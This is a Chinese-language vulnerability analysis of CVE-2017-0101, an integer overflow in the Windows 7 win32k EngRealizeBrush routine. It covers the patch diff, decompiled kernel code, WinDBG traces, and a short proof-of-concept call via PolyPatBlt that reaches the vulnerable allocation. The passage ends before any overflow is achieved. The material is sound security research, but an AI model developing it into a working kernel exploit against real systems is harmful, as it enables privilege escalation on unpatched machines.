前面的文章分析了发生在 win32k 内核模块中 GDI 子系统的 CVE-2016-0165 整数向上溢出漏洞,这篇文章继续分析另一个同样发生在 GDI 子系统的 CVE-2017-0101 (MS17-017) 整数向上溢出漏洞。分析的环境是 Windows 7 x86 SP1 基础环境的虚拟机,配置 1.5GB 的内存。

0x0 前言

本分析中涉及到的内核中的类或结构体可在《图形设备接口子系统的对象解释》文档中找到解释说明。

0x1 原理

漏洞存在于 win32k 内核模块的函数 EngRealizeBrush 中。该函数属于 GDI 子系统的服务例程,用于根据逻辑笔刷对象在目标表面对象中引擎模拟实现笔刷绘制。根据修复补丁文件对比,发现和其他整数向上溢出漏洞的修复补丁类似的,修复这个漏洞的补丁也是在函数中对某个变量的数值进行运算时,增加函数 ULongLongToULongULongAdd 调用来阻止整数向上溢出漏洞的发生,被校验的目标变量在后续的代码中被作为分配内存缓冲区的大小参数。那么接下来就从这两个函数所服务的变量着手进行分析。

  v60 = (unsigned int)(v11 * v8) >> 3;
  v49 = v60 * v68;
  v12 = v60 * v68 + 0x44;
  if ( v61 )
  {
    v13 = *((_DWORD *)v61 + 
    v14 = *((_DWORD *)v61 + 9);
    v15 = 0x20;
    v54 = v13;
    v55 = v14;
    if ( v13 != 0x20 && v13 != 0x10 && v13 != 8 )
      v15 = (v13 + 0x3F) & 0xFFFFFFE0;
    v56 = v15;
    v50 = v15 >> 3;
    v12 += (v15 >> 3) * v14;
  }
  [...]
  v66 = v12 + 0x40;
  v16 = (int)PALLOCMEM(v12 + 0x40, 'rbeG');

补丁前

  if ( ULongLongToULong((_DWORD)a3 * v10, (unsigned int)a3 * (unsigned __int64)(unsigned int)v10 >> 32, &v67) < 0 )
    goto LABEL_54;
  v67 >>= 3;
  if ( ULongLongToULong(v67 * v64, v67 * (unsigned __int64)(unsigned int)v64 >> 32, &a3) < 0
    || ULongAdd(0x44u, (unsigned __int32)a3, &v71) < 0 )
  {
    goto LABEL_54;
  }
  if ( v62 )
  {
    [...]
    v48 = v15 >> 3;
    if ( ULongLongToULong(v48 * v14, v48 * (unsigned __int64)(unsigned int)v14 >> 32, &v65) < 0
      || ULongAdd(v71, v65, &v71) < 0 )
    {
      goto LABEL_54;
    }
  }
  v16 = v71;
  [...]
  v71 = v16 + 0x40;
  v17 = PALLOCMEM(v16 + 0x40, 'rbeG');

补丁后

在 MSDN 网站存在函数 DrvRealizeBrush 的文档说明。在 Windows 图形子系统中,通常地 Eng 前缀函数是同名的 Drv 前缀函数的 GDI 模拟,两者参数基本一致。根据 IDA 和其他相关文档,获得函数 EngRealizeBrush 的函数原型如下:

int __stdcall EngRealizeBrush(
    struct _BRUSHOBJ *pbo,       // a1
    struct _SURFOBJ *psoTarget,  // a2
    struct _SURFOBJ *psoPattern, // a3
    struct _SURFOBJ *psoMask,    // a4
    struct _XLATEOBJ *pxlo,      // a5
    unsigned __int32 iHatch      // a6
);

函数 EngRealizeBrush 的函数原型

其中的第 1 个参数 pbo 指向目标 BRUSHOBJ 笔刷对象。数据结构 BRUSHOBJ 用来描述所关联的笔刷对象实体,在 MSDN 存在如下定义:

typedef struct _BRUSHOBJ {
  ULONG iSolidColor;
  PVOID pvRbrush;
  FLONG flColorType;
} BRUSHOBJ;

结构体 BRUSHOBJ 的定义

参数 psoTarget / psoPattern / psoMask 都是指向 SURFOBJ 类型对象的指针。结构体 SURFOBJ 的定义如下:

typedef struct tagSIZEL {
    LONG cx;
    LONG cy;
} SIZEL, *PSIZEL;

typedef struct _SURFOBJ {
    DHSURF  dhsurf;         //<[00,04] 04
    HSURF   hsurf;          //<[04,04] 05
    DHPDEV  dhpdev;         //<[08,04] 06
    HDEV    hdev;           //<[0C,04] 07
    SIZEL   sizlBitmap;     //<[10,08] 08 09
    ULONG   cjBits;         //<[18,04] 0A
    PVOID   pvBits;         //<[1C,04] 0B
    PVOID   pvScan0;        //<[20,04] 0C
    LONG    lDelta;         //<[24,04] 0D
    ULONG   iUniq;          //<[28,04] 0E
    ULONG   iBitmapFormat;  //<[2C,04] 0F
    USHORT  iType;          //<[30,02] 10
    USHORT  fjBitmap;       //<[32,02] xx
} SURFOBJ;

结构体 SURFOBJ 的定义

函数的各个关键参数的解释:

  • 参数 pbo 指向将要被实现的 BRUSHOBJ 对象;除 psoTarget 之外的其他参数都能从该对象中获取到。
  • 参数 psoTarget 指向将要实现笔刷的目标表面 SURFOBJ 对象;该表面可以是设备的物理表面,设备格式的位图,或是标准格式的位图。
  • 参数 psoPattern 指向为笔刷描述图案的表面 SURFOBJ 对象;对于栅格化的设备来说,该参数是位图。
  • 参数 psoMask 指向为笔刷描述透明掩码的表面 SURFOBJ 对象。
  • 参数 pxlo 指向定义图案位图的色彩解释的 XLATEOBJ 对象。

根据前面的代码片段可知,在函数 EngRealizeBrush 中存在一处 PALLOCMEM 函数调用,用于为将要实现的笔刷对象分配内存缓冲区,传入的分配大小参数为 v12 + 0x40,变量 v12 正是在修复补丁中增加校验函数的目标变量。

根据相关源码对“补丁前”的代码片段中的一些变量进行重命名:

  cjScanPat = ulSizePat * cxPatRealized >> 3;
  ulSizePat = cjScanPat * sizlPat_cy;
  ulSizeTotal = cjScanPat * sizlPat_cy + 0x44;
  if ( pSurfMsk )
  {
    sizlMsk_cx = *((_DWORD *)pSurfMsk + 8);
    sizlMsk_cy = *((_DWORD *)pSurfMsk + 9);
    cxMskRealized = 32;
    if ( sizlMsk_cx != 32 && sizlMsk_cx != 16 && sizlMsk_cx != 8 )
      cxMskRealized = (sizlMsk_cx + 63) & 0xFFFFFFE0;
    cjScanMsk = cxMskRealized >> 3;
    ulSizeTotal += (cxMskRealized >> 3) * sizlMsk_cy;
  }
  [...]
  ulSizeSet = ulSizeTotal + 0x40;
  pengbrush = (LONG)PALLOCMEM(ulSizeTotal + 0x40, 'rbeG');

对补丁前的代码片段的变量重命名

其中变量 ulSizeTotal 对应前面的 v12 变量。分析代码片段可知,影响 ulSizeTotal 变量值的可变因素有 sizlMsk_cx / sizlMsk_cy / ulSizePat / cxPatRealizedsizlPat_cy 变量。其中变量 sizlMsk_cxsizlMsk_cy 是参数 psoMask 指向的 SURFOBJ 对象的成员域 sizlBitmap 的值。因此还有 ulSizePat / cxPatRealizedsizlPat_cy 变量需要继续向前回溯,以定位出在函数中能够影响 ulSizeTotal 变量值的最上层可变因素。


可变因素

EngRealizeBrush 函数伊始,三个 SURFOBJ 指针参数被用来获取所属的 SURFACE 对象指针并分别放置于对应的指针变量中。SURFACE 是内核中所有 GDI 表面对象的管理对象类,类中存在结构体对象成员 SURFOBJ so 用来存储当前 SURFACE 对象所管理的位图实体数据的具体信息,在当前系统环境下,成员对象 SURFOBJ so 起始于 SURFACE 对象 +0x10 字节偏移的位置。

随后,参数 psoPattern 指向的 SURFOBJ 对象的成员域 sizlBitmap 存储的位图高度和宽度数值被分别赋值给 sizlPat_cxsizlPat_cy 变量,并将宽度数值同时赋值给 cxPatRealized 变量。参数 psoTarget 对象的成员域 iBitmapFormat 存储的值被赋给参数 psoPattern (编译器导致的变量复用,本应是名为 iFormat 之类的局部变量),用于指示目标位图 GDI 对象的像素格式。根据位图格式规则,像素格式可选 1BPP(1) / 4BPP(2) / 8BPP(3) / 16BPP(4) / 24BPP(5) / 32BPP(6) 等枚举值,用来指示位图像素点的色彩范围。

  pSurfTarg = SURFOBJ_TO_SURFACE(psoTarget);
  pSurfPat = SURFOBJ_TO_SURFACE(psoPattern);
  pSurfMsk = SURFOBJ_TO_SURFACE(psoMask);
  cxPatRealized = *((_DWORD *)pSurfPat + 8);
  psoMask = 0;
  psoPattern = (struct _SURFOBJ *)*((_DWORD *)pSurfTarg + 0xF);
  sizlPat_cy = *((_DWORD *)pSurfPat + 9);
  [...]
  sizlPat_cx = cxPatRealized;

函数 EngRealizeBrush 伊始代码片段

在函数中随后根据目标位图 GDI 对象的像素格式,将变量 ulSizePat 赋值为格式枚举值所代表的对应像素位数,例如 1BPP 格式的情况就赋值为 132BPP 格式的情况就赋值为 32,以此类推。

与此同时,根据目标位图 GDI 对象的像素格式对变量 cxPatRealized 进行继续赋值。根据 IDA 代码对赋值逻辑进行整理:

  1. 当目标位图 GDI 对象的像素格式为 1BPP 时:
    如果 sizlPat_cx 值为 32 / 16/ 8 其中之一时,变量 cxPatRealized 被赋值为 32;否则变量 cxPatRealized 的值以 32 作为初始基数,加上变量 sizlPat_cx 的值并以 32 对齐。
  2. 当目标位图 GDI 对象的像素格式为 4BPP 时:
    如果 sizlPat_cx 值为 8 时,变量 cxPatRealized 被赋值为 8;否则变量 cxPatRealized 的值以 8 作为初始基数,加上变量 sizlPat_cx 的值并以 8 对齐。
  3. 当目标位图 GDI 对象的像素格式为 8BPP / 16BPP / 24BPP 其中之一时:
    变量 cxPatRealized 的值以 4 作为初始基数,加上变量 sizlPat_cx 的值并以 4 对齐。
  4. 当目标位图 GDI 对象的像素格式为 32BPP 时:
    变量 cxPatRealized 被直接赋值为变量 sizlPat_cx 的值。

接下来,函数将变量 cxPatRealized 的值与变量 ulSizePat 存储的目标位图对象的像素位数相乘并右移 3 比特位,得到图案位图扫描线的大小,并将数值存储在 cjScanPat 变量中。然后函数计算 cjScanPatsizlPat_cy 的乘积,作为图案位图数据的总大小,与 0x44 相加并将结果存储在 ulSizeTotal 变量中。此处的 0x44ENGBRUSH 类对象的大小,将要分配的内存缓冲区头部将存储用来管理该笔刷实现实体的 ENGBRUSH 对象。

接下来函数还判断可选的参数 psoMask 是否为空;如果不为空的话,就取出 psoMask 对象的 sizlBitmap 成员的高度和宽度数值,并依据前面的像素格式为 1BPP 的情况,计算掩码位图扫描线的长度和掩码位图数据大小,并将数据大小增加进 ulSizeTotal 变量中。

在调用函数 PALLOCMEM 时,传入的分配内存大小参数是 ulSizeTotal + 0x40,其中的 0x40ENGBRUSH 结构大小减去其最后一个成员 BYTE aj[4] 的大小,位于 ENGBRUSH 对象后面的内存区域将作为 aj 数组成员的后继元素。函数对 ulSizeTotal 变量增加了两次 ENGBRUSH 对象的大小,多出来的 0x44 字节在后面用作其他用途,但我并不打算去深究,因为这不重要。

在函数 PALLOCMEM 中最终将通过调用函数 ExAllocatePoolWithTag 分配类型为 0x21 的分页会话池(Paged session pool)内存缓冲区。

内存缓冲区分配成功后,分配到的缓冲区被作为 ENGBRUSH 对象实例,并将缓冲区指针放置在 pbo 对象 +0x14 字节偏移的成员域中:

  if ( !pengbrush )
  {
LABEL_43:
    HTSEMOBJ::vRelease((HTSEMOBJ *)&v70);
    return 0;
  }
LABEL_44:
  bsoMaskNull = psoMask == 0;
  *((_DWORD *)pbo + 5) = pengbrush;

分配的缓冲区地址存储在 pbo 对象的成员域

依据以上的分析可知,在函数中能够影响 ulSizeTotal 变量值的最上层可变因素是:

  • 参数 psoPattern 指向的图案位图 SURFOBJ 对象的成员域 sizlBitmap 的值
  • 参数 psoMask 指向的掩码位图 SURFOBJ 对象的成员域 sizlBitmap 的值
  • 参数 psoTarget 指向的目标位图 SURFOBJ 对象的成员域 iBitmapFormat 的值

在获得 ulSizeTotal 变量最终数值的过程中,数据进行了多次的乘法和加法运算,但是没有进行任何的数值有效性校验。如果对涉及到的这几个参数成员域的值进行特殊构造,将可能使变量 ulSizeTotal 的数值发生整数溢出,该变量的值将变成远小于应该成为的值,那么在调用函数 PALLOCMEM 分配内存时,将会非配到非常小的内存缓冲区。分配到的缓冲区被作为 ENGBRUSH 对象实例,在后续对该 ENGBRUSH 对象的各个成员变量进行初始化时,将存在发生缓冲区溢出、造成后续的内存块数据被覆盖的可能性,严重时将导致操作系统 BSOD 的发生。

0x2 追踪

上一章节分析了漏洞的原理和成因,接下来将寻找一条从用户态进程到漏洞所在位置的触发路径。通过在 IDA 中查看函数 EngRealizeBrush 的引用列表,发现在 win32k 中仅对该函数进行了少量的引用。

函数 EngRealizeBrush 的引用列表
函数 EngRealizeBrush 的引用列表

关键在于列表的最后一条:在函数 pvGetEngRbrush 中将函数 EngRealizeBrush 的首地址作为参数传递给 bGetRealizedBrush 函数调用。

void *__stdcall pvGetEngRbrush(struct _BRUSHOBJ *a1)
{
  [...]
  result = (void *)*((_DWORD *)a1 + 5);
  if ( !result )
  {
    if ( bGetRealizedBrush(*((struct BRUSH **)a1 + 0x12), a1, EngRealizeBrush) )
    {
      vTryToCacheRealization(a1, *((struct RBRUSH **)a1 + 5), *((struct BRUSH **)a1 + 0x12), 1);
      result = (void *)*((_DWORD *)a1 + 5);
    }
    else
    {
      v2 = (void *)*((_DWORD *)a1 + 5);
      if ( v2 )
      {
        ExFreePoolWithTag(v2, 0);
        *((_DWORD *)a1 + 5) = 0;
      }
      result = 0;
    }
  }
  [...]
}

函数 pvGetEngRbrush 的代码片段

函数首先判断参数 a1 指向的 BRUSHOBJ 对象的 +0x14 字节偏移的成员域是否为空;为空的话则调用 bGetRealizedBrush 函数,并将参数 a1 的值作为第 2 个参数、将函数 EngRealizeBrush 的首地址作为第 3 个参数传入。

如果函数 bGetRealizedBrush 返回失败,函数将通过调用 ExFreePoolWithTag 函数释放参数 a1 指向的 BRUSHOBJ 对象 +0x14 字节偏移的成员域指向的内存块。该成员域在执行函数 EngRealizeBrush 期间会被赋值为分配并实现的 ENGBRUSH 对象的首地址。

在函数 bGetRealizedBrush 中存在对第 3 个参数指向的函数进行调用的语句:

LABEL_81:
  if ( v68 )
  {
    v41 = (struct _SURFOBJ *)(v68 + 0x10);
LABEL_127:
    v51 = (struct _SURFOBJ *)*((_DWORD *)a2 + 0xD);
    if ( v51 )
      v51 = (struct _SURFOBJ *)((char *)v51 + 0x10);
    v19 = a3(a2, v51, v41, v72, v13, v70);
    [...]
  }

函数 bGetRealizedBrush 调用参数 a3 指向的函数

为了精确地捕获到来自用户进程的调用路径,通过 WinDBG 在漏洞发生位置下断点,很快断点命中,观测到调用栈如下:

00 8bb23930 94170c34 win32k!EngRealizeBrush+0x19c
01 8bb239c8 941734af win32k!bGetRealizedBrush+0x70c
02 8bb239e0 941e99ac win32k!pvGetEngRbrush+0x1f
03 8bb23a44 9420e723 win32k!EngBitBlt+0x185
04 8bb23aa8 9420e8ab win32k!GrePatBltLockedDC+0x22b
05 8bb23b54 9420ed96 win32k!GrePolyPatBltInternal+0x176
06 8bb23c18 83e4b1ea win32k!NtGdiPolyPatBlt+0x1bc
07 8bb23c18 772b70b4 nt!KiFastCallEntry+0x12a
08 0023edec 768e6217 ntdll!KiFastSystemCallRet
09 0023edf0 768e61f9 gdi32!NtGdiPolyPatBlt+0xc
0a 0023ee1c 76fc3023 gdi32!PolyPatBlt+0x1e7
[...]

命中断点的栈回溯序列

观察栈回溯中的函数调用,发现由用户态进入内核态的调用者是 PolyPatBlt 函数,那么接下来就尝试通过函数 PolyPatBlt 作为切入点进行分析。

该函数是 gdi32.dll 模块的导出函数,但并未被微软文档化,仅作为系统内部调用使用。通过查询相关文档得到函数原型如下:

BOOL PolyPatBlt(
    HDC hdc,
    DWORD rop,
    PVOID pPoly,
    DWORD Count,
    DWORD Mode
);

函数 PolyPatBlt 的函数原型

函数通过使用当前选择在指定设备上下文 DC 对象中的笔刷工具来绘制指定数量的矩形。第 1 个参数 hdc 是传入的指定设备上下文 DC 对象的句柄,矩形的绘制位置和尺寸被定义在参数 pPoly 指向的数组中,参数 Count 指示矩形的数量。笔刷颜色和表面颜色通过指定的栅格化操作来关联,参数 rop 表示栅格化操作代码。参数 Mode 可暂时忽略。

参数 pPoly 指针的类型没有明确的公开定义,模块代码中的逻辑显示其指向的是 0x14 字节大小的数据结构数组,前 4 个参数定义矩形的坐标和宽度高度,第 5 个参数指定可选的笔刷句柄,因此可以定义为:

typedef struct _PATRECT {
    INT nXLeft;
    INT nYLeft;
    INT nWidth;
    INT nHeight;
    HBRUSH hBrush;
} PATRECT, *PPATRECT;

结构体 PATRECT 的定义

参数 pPoly 指向的数组的元素个数需要与参数 Count 参数表示的矩形个数对应。留意结构体中第 5 个成员变量 hBrush,这个成员变量很有意思。通过逆向分析得知,如果数组元素的该成员置为空值,那么在内核中将使用先前被选择在当前设备上下文 DC 对象中的笔刷对象作为实现 ENGBRUSH 对象的笔刷;而如果某个元素的 hBrush 成员指定了具体的笔刷对象句柄,那么在 GrePolyPatBltInternal 函数中将会对该元素使用指定的笔刷对象作为实现 ENGBRUSH 对象的笔刷。

  v17 = (HBRUSH)*((_DWORD *)a3 + 4);
  v30 = v17;
  ms_exc.registration.TryLevel = -2;
  if ( v17 )
  {
    v29 = GreDCSelectBrush(*(struct DC **)a1, v17);
    v16 = v31;
  }
  [...]

函数 GrePolyPatBltInternal 为 DC 对象选择笔刷对象

因此我们并不需要为目标 DC 对象选择笔刷对象,只需将笔刷对象的句柄放置在数组元素的成员域 hBrush 即可。接下来编写验证代码试图抵达漏洞所在位置,由于函数 PolyPatBlt 并未文档化,需要通过 GetProcAddress 动态获取地址的方式引用。

hdc = GetDC(NULL);
hbmp = CreateBitmap(0x10, 0x100, 1, 1, NULL);
hbru = CreatePatternBrush(hbmp);
pfnPolyPatBlt = (pfPolyPatBlt)GetProcAddress(GetModuleHandleA("gdi32"), "PolyPatBlt");
PATRECT ppb[1] = { 0 };
ppb[0].nXLeft  = 0x100;
ppb[0].nYLeft  = 0x100;
ppb[0].nWidth  = 0x100;
ppb[0].nHeight = 0x100;
ppb[0].hBrush  = hbru;
pfnPolyPatBlt(hdc, PATCOPY, ppb, 1, 0);

漏洞验证代码片段

在这段验证代码中,首先获取当前桌面的设备上下文 DC 对象句柄。根据函数 PolyPatBlt 的调用规则,需要在调用之前先创建笔刷对象,这通过函数 CreateBitmapCreatePatternBrush 来实现。创建返回的笔刷对象句柄被放置在 PATRECT 数组元素的 hBrush 成员域中。

编译代码后在测试环境执行,可以成功命中漏洞所在位置的断点:

win32k!EngRealizeBrush+0x19c:
9397d73c e828f20600      call    win32k!PALLOCMEM (939ec969)
kd> k
 # ChildEBP RetAddr
00 8e03ba20 93980c34 win32k!EngRealizeBrush+0x19c
01 8e03bab8 939834af win32k!bGetRealizedBrush+0x70c
02 8e03bad0 939f9ae6 win32k!pvGetEngRbrush+0x1f
03 8e03bb34 93a1e723 win32k!EngBitBlt+0x2bf
04 8e03bb98 93a1e8ab win32k!GrePatBltLockedDC+0x22b
05 8e03bb54 93a1ed96 win32k!GrePolyPatBltInternal+0x176
06 8e03bc18 83e7b1ea win32k!NtGdiPolyPatBlt+0x1bc
07 8e03bc18 77db70b4 nt!KiFastCallEntry+0x12a
08 002cfb8c 764c6217 ntdll!KiFastSystemCallRet
09 002cfb90 764c61f9 gdi32!NtGdiPolyPatBlt+0xc
0a 002cfbbc 0104b146 gdi32!PolyPatBlt+0x1e7
[...]
kd> dc esp l2
8e03b978  00004084 72626547                    .@..Gebr

漏洞验证代码执行后命中漏洞所在位置断点


需要注意的是,在虚拟机同一环境中多次测试验证代码程序时,有时候在函数 EngRealizeBrush 中会绕过分配内存的指令块:

win32k!EngRealizeBrush+0x164:
93a5d704 b958a0c393      mov     ecx,offset win32k!gpCachedEngbrush (93c3a058)
93a5d709 ff157000c193    call    dword ptr [win32k!_imp_InterlockedExchange (93c10070)]
93a5d70f 8bf0            mov     esi,eax
93a5d711 8975ac          mov     dword ptr [ebp-54h],esi
93a5d714 85f6            test    esi,esi
93a5d716 7418            je      win32k!EngRealizeBrush+0x190 (93a5d730)
93a5d718 8d4340          lea     eax,[ebx+40h]
93a5d71b 8945e0          mov     dword ptr [ebp-20h],eax
93a5d71e 3bc3            cmp     eax,ebx
93a5d720 7605            jbe     win32k!EngRealizeBrush+0x187 (93a5d727)
93a5d722 394604          cmp     dword ptr [esi+4],eax
93a5d725 7332            jae     win32k!EngRealizeBrush+0x1b9 (93a5d759)
93a5d759 837d1400        cmp     dword ptr [ebp+14h],0
kd> r eax 
eax=00004084
kd> r ebx
ebx=00004044
kd> ? poi(esi+4)
Evaluate expression: 16516 = 00004084

函数 EngRealizeBrush 绕过分配内存块的指令块

创建的 ENGBRUSH 对象在释放时会尝试将地址存储在 win32k 中的全局变量 gpCachedEngbrush 中而不是直接释放,作为缓存对象以备下次分配合适大小的 ENGBRUSH 对象时直接取用。

EngRealizeBrush 函数中分配内存缓冲区之前,函数会获取 gpCachedEngbrush 全局变量存储的值,如果缓存的 ENGBRUSH 对象存在,那么判断该缓存对象是否满足当前所需的缓冲区大小,如果满足就直接使用该缓存对象作为新创建的 ENGBRUSH 对象的缓冲区使用,因此跳过了分配内存的那一步。


焦点回到命中断点的漏洞所在位置,可以观测到请求分配的缓冲区大小参数是 0x4084 数值,这是由在验证代码中创建笔刷对象时,所关联的位图对象的大小决定的。当前的数值并未命中溢出的条件,因此我们需要不断尝试和计算,得到满足溢出条件的可变因素的数值。

为了更清晰地理解关联的位图对象与最终分配的内存缓冲区大小的关联,接下来对相关函数进行深入的分析。


CreatePatternBrush

函数 CreatePatternBrush 使用指定位图作为图案创建逻辑笔刷,接受位图对象的句柄作为唯一参数。在函数中直接调用 NtGdiCreatePatternBrushInternal 系统调用进入内核中执行。

HBRUSH __stdcall CreatePatternBrush(HBITMAP hbm)
{
  return (HBRUSH)NtGdiCreatePatternBrushInternal((int)hbm, 0, 0);
}

函数 CreatePatternBrush 直接调用 NtGdiCreatePatternBrushInternal 函数

接下来在内核中函数 NtGdiCreatePatternBrushInternal 直接调用函数 GreCreatePatternBrushInternal 来根据传入的位图创建图案笔刷对象。函数 GreCreatePatternBrushInternal 第 1 个参数是传递的位图对象的句柄。后两个参数由于在用户进程传递时直接传值为 0 所以暂不关注。

  SURFREF::SURFREF(&ps, hbmp);
  [...]
  if ( *((_DWORD *)ps + 0x12) & 0x4000000 )
  {
    if ( a3 )
      hbmpClone = hbmCreateClone(ps, 8u, 8u);
    else
      hbmpClone = hbmCreateClone(ps, 0, 0);
    if ( hbmpClone )
    {
      a3 = *((_DWORD *)ps + 0x14);
      bIsMonochrome = XEPALOBJ::bIsMonochrome((XEPALOBJ *)&a3);
      BRUSHMEMOBJ::BRUSHMEMOBJ(&v9, hbmpClone, hbmp, bIsMonochrome, 0, 0x40, a2);
      if ( v9 )
      {
        v12 = *v9;
        v10 = 1;
      }
      BRUSHMEMOBJ::~BRUSHMEMOBJ((BRUSHMEMOBJ *)&v9);
    }
  }
  [...]
  return v12;

函数 GreCreatePatternBrushInternal 的代码片段

函数根据传入的位图句柄获得目标位图的 SURFACE 对象的引用,随后通过调用函数 hbmCreateClone 并传入目标位图的 SURFACE 对象指针以获得位图对象克隆实例的句柄。

函数 hbmCreateClone 用来创建目标位图的引擎管理的克隆。函数生命周期内存在位于栈上的 DEVBITMAPINFO 结构体对象,结构体 DEVBITMAPINFO 定义如下:

typedef struct _DEVBITMAPINFO { // dbmi
    ULONG   iFormat;
    ULONG   cxBitmap;
    ULONG   cyBitmap;
    ULONG   cjBits;
    HPALETTE hpal;
    FLONG   fl;
} DEVBITMAPINFO, *PDEVBITMAPINFO;

结构体 DEVBITMAPINFO 的定义

目标位图对象的像素位数格式 SURFACE->so.iBitmapFormat 成员域的值被赋值给 DEVBITMAPINFO 对象的 iFormat 成员;由于第 2 个和第 3 个参数都被传入 0,因此函数直接获取目标位图对象 SURFACE->so.sizlBitmap 成员域的值并存储在 DEVBITMAPINFO 对象的 cxBitmapcyBitmap 成员中。

  dbmi_iFormat = *((_DWORD *)a1 + 0xF);
  if ( a2 && a3 )
  {
    [...]
  }
  else
  {
    dbmi_cx = *((_DWORD *)a1 + 8);
    dbmi_cy = *((_DWORD *)a1 + 9);
  }
  [...]

函数 hbmCreateClone 获取目标位图 SURFACE 对象成员域的值

接下来函数调用 SURFMEM::bCreateDIB 函数并传入 DEVBITMAPINFO 对象首地址,用来构造新的设备无关位图的内存对象:

  if ( SURFMEM::bCreateDIB((SURFMEM *)&v23, (struct _DEVBITMAPINFO *)&dbmi_iFormat, 0, 0, 0, 0, 0, 0, 1) )
  {
    v19 = dbmi_cx;
    v6 = 0;
    v7 = (*((_DWORD *)a1 + 0x12) & 0x4000) == 0;
    v21 = 0;
    v22 = 0;
    v17 = 0;
    v18 = 0;
    v20 = dbmi_cy;
    v26 = 0;
    [...]
  }
  [...]

函数调用 SURFMEM::bCreateDIB 构造设备无关位图的内存对象

函数 SURFMEM::bCreateDIB 在初始化新分配的位图对象时,将使用传入的 DEVBITMAPINFO 对象参数中存储的关键成员的值,包括位图的宽度高度和像素位格式。

函数 hbmCreateClone 向函数 GreCreatePatternBrushInternal 返回新创建的位图对象克隆的句柄。接下来函数判断原位图 SURFACE 对象的调色盘是否属于单色模式,接着通过调用构造函数 BRUSHMEMOBJ::BRUSHMEMOBJ 初始化位于栈上的从变量 v9 地址起始的静态 BRUSHMEMOBJ 对象。

在构造函数 BRUSHMEMOBJ::BRUSHMEMOBJ 中,函数通过调用成员函数 BRUSHMEMOBJ::pbrAllocBrush 分配笔刷 BRUSH 对象内存,接下来对笔刷对象的各个成员域进行初始化赋值。其中,第 2 个和第 3 个参数中传入的位图对象克隆句柄和原位图对象句柄被分别存储在新分配的 BRUSH 对象的 +0x14+0x18 字节偏移的成员域中。

  pbrush = BRUSHMEMOBJ::pbrAllocBrush((BRUSHMEMOBJ *)this, a7);
  *pbp_pbr = pbrush;
  if ( pbrush )
  {
    *((_DWORD *)pbrush + 5) = a2;
    *((_DWORD *)pbrush + 6) = a3;
    v10 = (_DWORD *)*((_DWORD *)pbrush + 9);
    *((_DWORD *)pbrush + 0xE) = 0;
    *((_DWORD *)pbrush + 4) = 0xD;
    *v10 = 0;
    *((_DWORD *)pbrush + 7) = a6;
    if ( a4 )
      *((_DWORD *)pbrush + 7) = a6 | 0x20003;
    [...]
  }

构造函数分配并初始化 BRUSH 对象

在这里需要留意 BRUSH 对象 +0x10 字节偏移的成员域赋值为 0xD 数值,该成员用于描述当前笔刷 BRUSH 对象的样式,数值 0xD 表示这是一个图案笔刷。该成员在后续的分析中将会涉及。

在构造函数 BRUSHMEMOBJ::BRUSHMEMOBJ 返回后,函数 GreCreatePatternBrushInternal 将刚才新创建的 BRUSH 对象的句柄成员的值作为返回值返回,该句柄值最终将返回到用户进程的调用函数中。


psoTarget

漏洞验证代码调用函数 PolyPatBlt 时,在内核中的函数 GrePolyPatBltInternal 调用期间,函数获取参数 a1 指向的目标设备上下文 XDCOBJ 对象中存储的设备相关位图的表面 SURFACE 对象,并将该对象的地址作为参数传入 GrePatBltLockedDC 函数调用。该参数将逐级向下传递,其成员对象 SURFOBJ so 的地址将成为 EngRealizeBrush 函数调用的参数 psoTarget 的值。

    pSurfDst = *(struct SURFACE **)(*(_DWORD *)a1 + 0x1F8);
    while ( 1 )
    {
      [...]
      if ( !ERECTL::bEmpty((ERECTL *)&v22) )
      {
        [...]
        if ( pSurfDst )
          v34 = GrePatBltLockedDC(a1, (struct EXFORMOBJ *)&v26, (struct ERECTL *)&v22, v36, pSurfDst, a6, a7, a8, a9);
      }
    [...]

函数 GrePolyPatBltInternal 获取目标 DC 对象的 SURFACE 成员

在验证代码中我们使用的是当前桌面的设备上下文 DC 对象,该 DC 对象所关联的位图表面 SURFACE 对象的成员域 iBitmapFormat 与当前显示器设置的颜色配置有关,现代计算机默认设置都是 32 位真彩色,所以对应的 iBitmapFormat 成员域的值即为 32BPP 的枚举值。我们可以通过以下系统设置来改变该成员域的值:

cve-2017-0101-2-2.png
设置显示器颜色的系统设置


psoPattern

与此同时,在函数 bGetRealizedBrush 执行期间,函数获取目标笔刷 BRUSH 对象的 +0x14 字节偏移的成员域的值,即在前期阶段分配并初始化笔刷 BRUSH 对象时创建的图案位图对象克隆的句柄,函数将该句柄值传入 SURFREF::vAltLock 函数调用以获取该位图 SURFACE 对象引用。

93650a5e 8b4714          mov     eax,dword ptr [edi+14h]
93650a61 8945e8          mov     dword ptr [ebp-18h],eax
93650a64 8b4330          mov     eax,dword ptr [ebx+30h]
93650a67 8975ec          mov     dword ptr [ebp-14h],esi
93650a6a a801            test    al,1
93650a6c 7439            je      win32k!bGetRealizedBrush+0x57f (93650aa7)
93650aa7 a806            test    al,6
93650aa9 7407            je      win32k!bGetRealizedBrush+0x58a (93650ab2)
93650ab2 ff75e8          push    dword ptr [ebp-18h]
93650ab5 8d4df0          lea     ecx,[ebp-10h]
93650ab8 e8c5caffff      call    win32k!SURFREF::vAltLock (9364d582)

函数 bGetRealizedBrush 获取图案位图对象克隆的 SURFACE 对象引用

接下来函数获取该 SURFACE 对象的成员对象 SURFOBJ so 的地址,并作为第 3 个参数 psoPattern 的值传入 EngRealizeBrush 函数调用。

93650abd 8b75f0          mov     esi,dword ptr [ebp-10h]
93650ac0 85f6            test    esi,esi
[...]
93650c06 8b4df0          mov     ecx,dword ptr [ebp-10h]
93650c09 83c110          add     ecx,10h
93650c0c eb0f            jmp     win32k!bGetRealizedBrush+0x6f5 (93650c1d)
93650c1d 8b4334          mov     eax,dword ptr [ebx+34h]
93650c20 85c0            test    eax,eax
93650c22 7403            je      win32k!bGetRealizedBrush+0x6ff (93650c27)
93650c24 83c010          add     eax,10h
93650c27 ff75dc          push    dword ptr [ebp-24h]
93650c2a 56              push    esi
93650c2b ff75e4          push    dword ptr [ebp-1Ch]
93650c2e 51              push    ecx
93650c2f 50              push    eax
93650c30 53              push    ebx
93650c31 ff5510          call    dword ptr [ebp+10h]

图案位图对象的 SURFOBJ 成员地址被作为 psoPattern 参数

这样一来,参数 psoPattern 指向的 SURFOBJ 对象成员域 sizlBitmap 存储的值就与在用户进程创建笔刷对象时传入参数的图案位图高度和宽度数值一致。


psoMask

函数 EngRealizeBrush 的参数 psoMask 指向的 SURFOBJ 对象表示笔刷的透明掩码。笔刷使用的透明掩码是每像素 1 位的位图,并与图案位图的像素点个数相同。掩码位为 0 表示像素是笔刷的背景像素。

